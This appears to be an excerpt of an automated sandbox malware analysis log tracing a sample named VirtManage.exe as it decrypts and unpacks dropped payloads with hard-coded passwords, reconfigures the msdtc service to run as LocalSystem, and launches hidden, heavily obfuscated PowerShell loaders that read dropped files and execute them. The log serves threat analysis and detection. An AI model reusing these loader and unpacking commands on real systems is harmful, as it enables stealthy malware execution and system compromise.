Source: powershell.exe, 00000019.00000002.2787411165.00000228E0597000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: gpg.exe, 00000005.00000002.991517075.0000000000907000.00000004.00000020.00020000.00000000.sdmp, gpg.exe, 0000000A.00000002.1050808486.00000000000F8000.00000004.00000020.00020000.00000000.sdmp, gpg.exe, 0000000E.00000002.1076062930.00000000007E8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2877295702.00000228F6DB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2860731502.000001A7A11DC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\VirtManage.exeAPI call chain: ExitProcess graph end nodegraph_0-3679
Source: C:\Users\user\Desktop\VirtManage.exeAPI call chain: ExitProcess graph end nodegraph_0-3830
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformation
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004014F0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,1_2_004014F0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\whoami.exeProcess token adjusted: Debug
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0040118E __set_app_type,__p__fmode,__p__commode,Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,1_2_0040118E
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004011B3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,1_2_004011B3
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004013D1 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,1_2_004013D1
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0040118E __set_app_type,__p__fmode,__p__commode,Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,3_2_0040118E
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004011B3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,3_2_004011B3
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004013D1 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,3_2_004013D1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\5FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\7za.dll --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\1FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\2FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPIJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\Cert.txt --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\3FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\4FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPIJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc start= demandJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc obj= "LocalSystem"Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jvshszob.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6C81.tmp" "c:\Users\user\AppData\Local\Temp\0dxyzzew\CSCE714EBFE583744818A7275BE9DF94CC1.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1217.tmp" "c:\Users\user\AppData\Local\Temp\CSCC94B61069A254E398AE8B2B386E749A2.TMP"
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "sv 5pw $('c:\progr'+'amdata\micr'+'osoft\micro'+'softapi\ieq'+'u4aed'+'3u.t');set-item variable:\sh 'net.webclient';dir rid*;set-variable 7 (.(item variable:\*uti*t).value.(((item variable:\*uti*t).value|gm)[6].name).(((item variable:\*uti*t).value.(((item variable:\*uti*t).value|gm)[6].name)|gm|where-object{(variable _ -valueo).name-clike'*dl*t'}).name).invoke((item variable:\*uti*t).value.(((item variable:\*uti*t).value|gm)[6].name).(((item variable:\*uti*t).value.(((item variable:\*uti*t).value|gm)[6].name).psobject.methods|where-object{(variable _ -valueo).name-clike'*nd*e'}).name).invoke('n*ct',1,$true))(gv sh).value);set-variable gpw ((((variable 7).value|gm)|where-object{(variable _ -valueo).name-clike'd*g'}).name);.(get-command *e-*press*)((variable 7).value.((gci variable:/gpw).value).invoke((gv 5pw -valueo)))"
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "si variable:zx 'net.webclient';set-variable g8e $('c:\pro'+'gramdat'+'a\micro'+'soft\update'+'desktop\eep6d'+'i0ugu.t');dir rid*;set-variable kal (.$executioncontext.invokecommand.(($executioncontext.invokecommand.psobject.methods|where-object{(get-item variable:/_).value.name-ilike'g*d'}).name).invoke($executioncontext.invokecommand.getcommandname('n*-o*',1,1),[system.management.automation.commandtypes]::cmdlet)(gi variable:\zx).value);set-item variable:/75 ((((dir variable:\kal).value|member)|where-object{(get-item variable:/_).value.name-ilike'd*g'}).name);$executioncontext|foreach{(get-item variable:/_).value.invokecommand.(($executioncontext.invokecommand|member|where-object{(get-item variable:/_).value.name-ilike'*ke*pt'}).name).invoke((dir variable:\kal).value.((gv 75 -va)).invoke((childitem variable:/g8e).value))}"
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "sv 5pw $('c:\progr'+'amdata\micr'+'osoft\micro'+'softapi\ieq'+'u4aed'+'3u.t');set-item variable:\sh 'net.webclient';dir rid*;set-variable 7 (.(item variable:\*uti*t).value.(((item variable:\*uti*t).value|gm)[6].name).(((item variable:\*uti*t).value.(((item variable:\*uti*t).value|gm)[6].name)|gm|where-object{(variable _ -valueo).name-clike'*dl*t'}).name).invoke((item variable:\*uti*t).value.(((item variable:\*uti*t).value|gm)[6].name).(((item variable:\*uti*t).value.(((item variable:\*uti*t).value|gm)[6].name).psobject.methods|where-object{(variable _ -valueo).name-clike'*nd*e'}).name).invoke('n*ct',1,$true))(gv sh).value);set-variable gpw ((((variable 7).value|gm)|where-object{(variable _ -valueo).name-clike'd*g'}).name);.(get-command *e-*press*)((variable 7).value.((gci variable:/gpw).value).invoke((gv 5pw -valueo)))"Jump to behavior
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "si variable:zx 'net.webclient';set-variable g8e $('c:\pro'+'gramdat'+'a\micro'+'soft\update'+'desktop\eep6d'+'i0ugu.t');dir rid*;set-variable kal (.$executioncontext.invokecommand.(($executioncontext.invokecommand.psobject.methods|where-object{(get-item variable:/_).value.name-ilike'g*d'}).name).invoke($executioncontext.invokecommand.getcommandname('n*-o*',1,1),[system.management.automation.commandtypes]::cmdlet)(gi variable:\zx).value);set-item variable:/75 ((((dir variable:\kal).value|member)|where-object{(get-item variable:/_).value.name-ilike'd*g'}).name);$executioncontext|foreach{(get-item variable:/_).value.invokecommand.(($executioncontext.invokecommand|member|where-object{(get-item variable:/_).value.name-ilike'*ke*pt'}).name).invoke((dir variable:\kal).value.((gv 75 -va)).invoke((childitem variable:/g8e).value))}"
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_6C701096 GetModuleFileNameW,GlobalAlloc,CharPrevW,GlobalFree,GetTempFileNameW,CopyFileW,CreateFileW,CreateFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,CloseHandle,lstrcatW,lstrlenW,GlobalAlloc,FindWindowExW,FindWindowExW,FindWindowExW,lstrcmpiW,lstrcmpiW,lstrcmpiW,DeleteFileW,GetVersion,GlobalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreatePipe,CreatePipe,CreatePipe,GetStartupInfoW,CreateProcessW,lstrcpyW,GetTickCount,WaitForSingleObject,GetExitCodeProcess,PeekNamedPipe,GetTickCount,ReadFile,IsTextUnicode,IsDBCSLeadByteEx,MultiByteToWideChar,lstrcpyW,GlobalReAlloc,lstrcpyW,GetTickCount,TerminateProcess,lstrcpyW,Sleep,lstrcpyW,wsprintfW,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,DeleteFileW,GlobalFree,GlobalFree,GlobalFree,0_2_6C701096
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
